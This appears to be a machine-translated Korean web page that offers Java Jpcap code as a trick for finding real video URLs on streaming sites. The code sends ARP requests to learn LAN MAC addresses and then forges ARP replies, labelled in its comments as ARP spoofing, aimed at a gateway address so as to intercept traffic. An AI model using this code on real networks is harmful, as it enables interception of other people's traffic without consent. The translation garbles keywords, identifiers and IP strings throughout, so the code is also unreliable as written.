컴퓨터 지식 네트워크 - 컴퓨터 프로그래밍 - 인터넷 오디오 및 비디오 사이트 (예: 감자, 유쿠 등) 에서 비디오 파일의 실제 URL 경로에 대한 설계 및 기술 요령을 얻습니다. ) Jpcap 스니핑을 사용합니다.

인터넷 오디오 및 비디오 사이트 (예: 감자, 유쿠 등) 에서 비디오 파일의 실제 URL 경로에 대한 설계 및 기술 요령을 얻습니다. ) Jpcap 스니핑을 사용합니다.

Jpcap.packet 을 가져옵니다. *;

Jpcap 을 임포트합니다. JpcapCaptor

Jpcap 을 임포트합니다. JpcapSender

Jpcap 을 임포트합니다. 네트워크 인터페이스

Java.net 을 가져옵니다. *;

Java.util.arrays 가져오기

Java.io. *;

공용 클래스 수정 {

Static network interface [] devices = jpcapcaptor.getdevicelist (); //호스트 a 의 네트워크 디바이스 목록을 가져옵니다.

/*

* LAN 에 있는 호스트의 MAC 주소를 가져옵니다. 방법: ARP 요청을 전송하여 ARP 응답에서 MAC 주소를 얻습니다.

*/

정적 바이트 [] getOtherMAC (문자열 IP) 으로 인해 IOException{

Jpcapcaptor JC = jpcapcaptor.opendevice (devices [1], 2000, false, 3000);

Jpcapsendersender = jc.getjpcapsenderinstance ();

Inetaddress sender IP = inetaddress.getbyname ("192.168.10 //호스트 a 의 IP 주소입니다.

Inetaddress target IP = inetaddress.getbyname (IP); //대상 호스트의 IP 주소입니다.

Byte[] broadcast=new byte[]{ (바이트) 255, (바이트) 255, (바이트) 255, (바이트) 255, (바이트) 255 //브로드캐스트 주소

Arp packet ARP = new ARP packet (); //ARP 패키지 구성을 시작합니다.

Arp.hardtype=ARPPacket 입니다. HARDTYPE _ ETHER

Arp.prototype=ARPPacket 입니다. 프로토타입 _ IP

Arp.operation=ARPPacket 입니다. ARP _ REQUEST// 는 ARP 요청 패키지임을 나타냅니다.

Arp.hlen = 6;

Arp.plen = 4;

Arp.sender_hardaddr=devices[0] 입니다. Mac _ address//ARP 패킷 발신자의 이더넷 주소

Arp.sender _ protoaddr = senderip.getaddress (); //보낸 사람의 IP 주소

Arp.target _ hardaddr = broadcast//대상 이더넷 주소

Arp.target _ protoaddr = targetip.getaddress (); //대상 IP 주소

Ethernetpacketether = new ethernetpacket (); //이더넷 헤더 구성

Ether.frametype = 이더넷 패킷. 이더넷 유형 _ ARP// 프레임 유형

Ether.src_mac=devices[0] 입니다. Mac _ address// 이더넷 소스 주소

Ether.dst _ MAC = 브로드캐스트 //이더넷 대상 주소

Arp.datalink = ether

Sender.send packet (ARP);

While(true){ // 대상 호스트의 MAC 주소를 추출할 ARP 응답 패키지를 가져옵니다.

Arppacket p = (arppacket) jc.getpacket ();

If(p==null){

New illegalargumentexception (target IP+"로컬 주소가 아님");

}

If (arrays.equals (p.target _ protoaddr, sender IP. get address()){

Return p.sender _ hardaddr

}

}

}

공용 정적 void main(String[] args) 은 IOException {

Jpcapcaptor captor = jpcapcaptor.opendevice (devices [1], 2000, false, 3000);

Captor.setFilter("arp ",true);

Jpcapsendersender = captor.getjpcapsenderinstance ();

Arp packet ARP = new ARP packet (); //ARP 스푸핑을 구성하는 데 사용되는 패키지는 본질적으로 ARP 응답 패키지입니다.

Arp.hardtype = ARPPacket 입니다. HARDTYPE _ ETHER

Arp.prototype=ARPPacket 입니다. 프로토타입 _ IP

Arp.operation=ARPPacket 입니다. ARP _ REPLY// 는 ARP 응답 패킷임을 나타냅니다.

Arp.hlen = 6;

Arp.plen = 4;

Arp.sender_hardaddr=devices[0] 입니다. Mac _ address

Arp.sender _ protoaddr = inetaddress.getbyname ("192.168./kloc. Getaddress ();

Arp.target _ hard addr = getothermac ("192.168.10.254

Arp.target _ protoaddr = inetaddress.getbyname ("192.168./kloc. Getaddress ();

Ethernetpacketether = new ethernetpacket ();

Ether.frametype = 이더넷 패킷. 이더넷 유형 _ ARP

Ether.src _ MAC = getothermac ("192.168.10./kloc

Ether.dst _ MAC = getothermac ("192.168.10.254"))

Arp.datalink = ether

Sender.send packet (ARP);

上篇: 중고 아이폰 마더 보드는 어디서 살 수 있나요? 下篇: 신창 대불사를 유람하는 문장.
관련 내용